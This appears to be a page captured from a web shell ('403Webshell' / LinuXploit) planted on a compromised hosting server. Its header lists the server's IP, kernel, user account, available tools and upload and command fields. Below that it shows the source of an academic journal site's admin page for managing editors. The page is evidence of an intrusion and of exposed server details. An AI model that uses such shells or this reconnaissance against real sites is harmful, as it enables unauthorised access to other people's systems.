403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/masscomjournal.com/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/masscomjournal.com/admin/editors.php
<?php
if($opt1 && ($opt1 === 'add' OR $opt1 === 'edit')):
	if($opt1 === 'edit'):
		$stmt = $mysqli->prepare("SELECT $firstcol, category, subcategory, name, degree, post, content, email, emailshow, phone, phoneshow, picture, pictureshow, catsortnumber, sortnumber, status, creation FROM $table WHERE $firstcol = ? LIMIT 1") or die($mysqli->error);
		$stmt->bind_param('i', $opt2);
		$stmt->execute();
		$stmt->store_result();
		$count_rows = $stmt->num_rows();
		$stmt->bind_result($id, $category, $subcategory, $name, $degree, $post, $content, $email, $emailshow, $phone, $phoneshow, $picture, $pictureshow, $catsortnumber, $sortnumber, $status, $creation);
		$stmt->fetch();
		$stmt->close();
		if($count_rows !== 1):
			die('Invalid data selection.');
		endif;
	else:
		$id = '';$category = '';$subcategory = '';$name = '';$degree = '';$post = '';$content = '';$email = '';$emailshow = 'Y';$phone = '';$phoneshow = 'Y';$picture = '';$pictureshow = 'Y';$catsortnumber = '';$sortnumber = '';$status = 'enabled';
	endif;

	function categories()
	{
		global $mysqli, $table;$html = '';

		$stmt = $mysqli->prepare("SELECT TRIM(category) FROM $table GROUP BY TRIM(category) ORDER BY TRIM(category) ASC") or die($mysqli->error);
		$stmt->execute();
		$stmt->store_result();
		$stmt->bind_result($category);
		while($stmt->fetch()):
			$html .= $category ? '<option value="'.$category.'">'.$category.'</option>' : '';
		endwhile;
		$stmt->close();
		return $html;
	}
	$categories = categories();
	function subcategories()
	{
		global $mysqli, $table;$html = '';

		$stmt = $mysqli->prepare("SELECT TRIM(subcategory) FROM $table GROUP BY TRIM(subcategory) ORDER BY TRIM(subcategory) ASC") or die($mysqli->error);
		$stmt->execute();
		$stmt->store_result();
		$stmt->bind_result($subcategory);
		while($stmt->fetch()):
			$html .= $subcategory ? '<option value="'.$subcategory.'">'.$subcategory.'</option>' : '';
		endwhile;
		$stmt->close();
		return $html;
	}
	$subcategories = subcategories();
	$emailchecked  = $emailshow === 'Y' ? 'checked' : '';
	$phonechecked  = $phoneshow === 'Y' ? 'checked' : '';
	$edpicchecked  = $pictureshow === 'Y' ? 'checked' : '';
	$checked	   = $opt1 === 'add' ? 'checked' : '';
	$status		   = $status === 'enabled' ? 'checked' : '';
echo <<<EOJ
	<input type="hidden" name="dataid" value="{$id}" readonly />
	<div class="head">
		<button type="button" class="waves-effect btn-flat" onclick="history.back()"><i class="material-icons">keyboard_return</i></button>
		<button type="submit" class="waves-effect btn-flat blue accent-4 white-text">Submit</button>
	</div>
	<div class="body">
		<div class="row">
			<div class="col s12 m3 l2">
				<label for="category">category<b class="red-text right">*</b></label>
				<input type="text" name="category" value="{$category}" id="category" />
			</div>
			<div class="col s12 m3 l4">
				<label for="categories">categories</label>
				<div class="flex">
					<select name="categories" id="categories" class="browser-default" onchange="this.form.category.value=this.value;">
						<option value="" selected>Select category</potion>
						{$categories}
					</select>
					<label for="applytoall" class="chklab left" style="width:138px"><input type="checkbox" name="applytoall" value="Y" id="applytoall" />apply to all</label>
				</div>
			</div>
			<div class="col s12 m3 l3">
				<label for="subcategory">sub category</label>
				<input type="text" name="subcategory" value="{$subcategory}" id="subcategory" />
			</div>
			<div class="col s12 m3 l3">
				<label for="subcategories">sub categories</label>
				<select name="subcategories" id="subcategories" class="browser-default" onchange="this.form.subcategory.value=this.value;">
					<option value="" selected>Select sub category</potion>
					{$subcategories}
				</select>
			</div>
		</div>
		<div class="row">
			<div class="col s12 m4 l4">
				<label for="name">editor name<b class="red-text right">*</b></label>
				<input type="text" name="name" value="{$name}" id="name" />
			</div>
			<div class="col s12 m4 l4">
				<label for="degree">degree</label>
				<input type="text" name="degree" value="{$degree}" id="degree" />
			</div>
			<div class="col s12 m4 l4">
				<label for="post">post</label>
				<input type="text" name="post" value="{$post}" id="post" />
			</div>
		</div>
		<div class="row">
			<div class="col s12 m12 l12">
				<label for="content">content<b class="red-text right">*</b></label>
				<input type="text" name="content" value="{$content}" id="content" />
			</div>
		</div>
		<div class="row">
			<div class="col s12 m12 l6">
				<label for="email">email</label>
				<div class="flex">
					<input type="text" name="email" value="{$email}" id="email" />
					<label for="emailshow" class="chklab right" style="width:78px"><input type="checkbox" name="emailshow" value="Y" id="emailshow" {$emailchecked} />show</label>
				</div>
			</div>
			<div class="col s12 m12 l6">
				<label for="phone">phone</label>
				<div class="flex">
					<input type="text" name="phone" value="{$phone}" class="phone" id="phone" />
					<label for="phoneshow" class="chklab right" style="width:78px"><input type="checkbox" name="phoneshow" value="Y" id="phoneshow" {$phonechecked} />show</label>
				</div>
			</div>
		</div>
		<div class="row">
			<div class="col s12 m12 l6">
				<label for="picture">picture</label><div class="clearfix"></div>
				<div class="file-field">
					<div class="btn btn-flat grey lighten-1 white-text">
						<span>picture</span>
						<input type="file" name="picture" id="picture" />
					</div>
					<div class="file-path-wrapper">
						<div class="flex">
							<input type="text" placeholder="Only JPG, JPEG and PNG allowed." class="file-path" />
							<label for="pictureshow" class="chklab right" style="width:144px"><input type="checkbox" name="pictureshow" value="Y" id="pictureshow" {$edpicchecked} />picture show</label>
						</div>
					</div>
				</div>
			</div>
			<div class="col s12 m3 l3">
				<label for="catsortnumber">category sort number<b class="red-text right">*</b></label>
				<input type="text" name="catsortnumber" value="{$catsortnumber}" maxlength="6" pattern="[0-9]+" id="catsortnumber" class="int" onpaste="return false" />
			</div>
			<div class="col s12 m3 l3">
				<label for="sortnumber">sort number</label>
				<input type="text" name="sortnumber" value="{$sortnumber}" maxlength="6" pattern="[0-9]+" id="sortnumber" class="int" onpaste="return false" />
			</div>
		</div>
		<div class="row">
			<div class="col s12 m12 l12">
				<label for="send_email" class="chklab left"><input type="checkbox" name="send_email" value="Y" id="send_email" {$checked} />send email</label>
				<label for="send_certificate" class="chklab left"><input type="checkbox" name="send_certificate" value="Y" id="send_certificate" onclick="if(this.checked)this.form.send_email.checked=true;" {$checked} />send certificate</label>
				<label for="send_sms" class="chklab left"><input type="checkbox" name="send_sms" value="Y" id="send_sms" />send sms</label>

				<label for="status" class="chklab right"><input type="checkbox" name="status" value="enabled" id="status" {$status} />status</label>
			</div>
		</div>
	</div>
EOJ;
elseif($opt1 === 'settings'):
echo <<<EOJ
	<div class="head">
		<button type="button" class="waves-effect btn-flat" onclick="history.back()"><i class="material-icons">keyboard_return</i></button>
		<button type="submit" class="waves-effect btn-flat blue accent-4 white-text">Submit</button>
	</div>
	<div class="body">
		<div class="row">
			<div class="col s12 m12 l12">
				<div class="chkwrap left">
					<label for="email" class="chklab left" style="margin:0;padding-right:2px"><input type="radio" name="mode" value="email" id="email" /></label>
					<label for="emailshow" class="chklab left"><input type="checkbox" name="emailshow" value="Y" id="emailshow" onclick="this.form.mode[0].checked=true" onchange="this.form.mode[0].checked=true" />show email</label>
				</div>
				<div class="chkwrap left">
					<label for="phone" class="chklab left" style="margin:0 0 0 10px;padding-right:2px"><input type="radio" name="mode" value="phone" id="phone" /></label>
					<label for="phoneshow" class="chklab left"><input type="checkbox" name="phoneshow" value="Y" id="phoneshow" onclick="this.form.mode[1].checked=true" onchange="this.form.mode[1].checked=true" />show phone</label>
				</div>
				<div class="chkwrap left">
					<label for="picture" class="chklab left" style="margin:0 0 0 10px;padding-right:2px"><input type="radio" name="mode" value="picture" id="picture" /></label>
					<label for="pictureshow" class="chklab left"><input type="checkbox" name="pictureshow" value="Y" id="pictureshow" onclick="this.form.mode[2].checked=true" onchange="this.form.mode[2].checked=true" />show picture</label>
				</div>
				<div class="chkwrap left">
					<label for="status" class="chklab left" style="margin:0 0 0 10px;padding-right:2px"><input type="radio" name="mode" value="status" id="status" /></label>
					<label for="changestatus" class="chklab left"><input type="checkbox" name="status" value="enabled" id="changestatus" onclick="this.form.mode[3].checked=true" onchange="this.form.mode[3].checked=true" />change status</label>
				</div>
			</div>
		</div>
	</div>
EOJ;
else:
	if($opt1 === 'search'):
		$stmt = $mysqli->prepare("SELECT * FROM $table WHERE (name LIKE ? OR degree LIKE ? OR post LIKE ? OR content LIKE ? OR email LIKE ? OR phone LIKE ?)") or die($mysqli->error);
		$stmt->bind_param('ssssss', $keyword, $keyword, $keyword, $keyword, $keyword, $keyword);
		$stmt->execute();
		$stmt->store_result();
		$total_rows = $stmt->num_rows();
		$stmt->close();
	else:
		$stmt = $mysqli->prepare("SELECT * FROM $table") or die($mysqli->error);
		$stmt->execute();
		$stmt->store_result();
		$total_rows = $stmt->num_rows();
		$stmt->close();
	endif;
echo <<<EOJ
	<div class="head">
		<button type="button" class="waves-effect btn-flat green white-text" onclick="_curl('add')">Add new</button>
		<button type="submit" class="waves-effect btn-flat" onclick="_sopt('downloademails')"><i class="material-icons left">file_download</i>Emails</button>
		<button type="submit" class="waves-effect btn-flat h" onclick="_sopt('downloadcertificate')"><i class="material-icons left">file_download</i>Certificate</button>
		<button type="submit" class="waves-effect btn-flat h" onclick="_sopt('showpicture')"><i class="material-icons left">visibility</i>Picture</button>
		<button type="submit" class="waves-effect btn-flat h" onclick="_sopt('hidepicture')"><i class="material-icons left">visibility_off</i>Picture</button>
		<button type="submit" class="waves-effect btn-flat h" onclick="_sopt('removepicture', 'Do you really want to remove picture?')"><i class="material-icons left">clear</i>Picture</button>
		<button type="submit" class="waves-effect btn-flat h" onclick="_sopt('enabled')">Enable</button>
		<button type="submit" class="waves-effect btn-flat h" onclick="_sopt('disabled')">Disable</button>
		<button type="submit" class="waves-effect btn-flat red h" onclick="_sopt('delete', 'Do you really want to delete?')"><i class="material-icons white-text">delete</i></button>
		<div class="pagination right"><b class="left">Total Rows : {$total_rows}</b></div>
		<button type="button" class="waves-effect btn-flat right transparent" onclick="_curl('settings')"><i class="material-icons">settings</i></button>
	</div>
	<table class="table">
		<thead>
		<tr>
		<th class="xs center-align" nowrap><input type="checkbox" name="checkall" value="" class="checkall" /></th>
		<th class="xs center-align" nowrap>s. no.</th>
		<th class="center-align" style="width:60px" nowrap>picture</th>
		<th nowrap>category</th>
		<th>name</th>
		<th>email</th>
		<th class="sm center-align" nowrap>c. sort</th>
		<th class="xs center-align" nowrap>sort</th>
		<th class="sm center-align" nowrap>status</th>
		<th class="lg right-align" nowrap>creation</th>
		<th class="sm center-align" nowrap>action</th>
		</tr>
		</thead>
		<tbody>
EOJ;
		if($opt1 === 'search'):
			$stmt = $mysqli->prepare("SELECT $firstcol, category, name, email, picture, catsortnumber, sortnumber, status, creation FROM $table WHERE (name LIKE ? OR degree LIKE ? OR post LIKE ? OR content LIKE ? OR email LIKE ? OR phone LIKE ?) ORDER BY catsortnumber ASC, sortnumber ASC") or die($mysqli->error);
			$stmt->bind_param('ssssss', $keyword, $keyword, $keyword, $keyword, $keyword, $keyword);
		else:
			$stmt = $mysqli->prepare("SELECT $firstcol, category, name, email, picture, catsortnumber, sortnumber, status, creation FROM $table ORDER BY catsortnumber ASC, sortnumber ASC") or die($mysqli->error);
		endif;
		$stmt->execute();
		$stmt->store_result();
		if($stmt->num_rows() > 0):
			$stmt->bind_result($id, $category, $name, $email, $picture, $catsortnumber, $sortnumber, $status, $creation);
			while($stmt->fetch()):
				$snum   = $snum + 1;
				$picture= ($picture && file_exists($uploadpath.$page.'/'.$picture)) ? $uploadurl.$page.'/'.$picture : $imageurl.'avatar_2x.png';
				$color  = $status === 'enabled' ? 'green-text' : 'red-text';
				$option = $status === 'enabled' ? 'disabled' : 'enabled';
echo <<<EOJ
				<tr>
				<td class="center-align" nowrap><input type="checkbox" name="dataid[]" value="{$id}" class="checkbox" /></td>
				<td class="center-align" nowrap>{$snum}</td>
				<td class="center-align" nowrap><img src="{$picture}" alt="{$name}" class="circle" width="36" height="36" /></td>
				<td>{$category}</td>
				<td>{$name}</td>
				<td>{$email}</td>
				<td class="center-align" nowrap>{$catsortnumber}</td>
				<td class="center-align" nowrap>{$sortnumber}</td>
				<td class="center-align" nowrap><button type="submit" class="{$color}" onclick="_sopt('{$option}', '', this)">{$status}</button></td>
				<td class="right-align" nowrap>{$fn->nice_date($creation)}</td>
				<td class="center-align" nowrap>
					<button type="button" class="blue-text text-accent-4" onclick="_curl('edit/{$id}')">edit</button>
				</td>
				</tr>
EOJ;
			endwhile;
		else:
			echo '<tr><td colspan="11" class="center-align">MySQL returned an empty result set (i.e. zero rows).</td></tr>';
		endif;
		$stmt->close();
	echo '</tbody>';
	echo '</table>';
endif;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit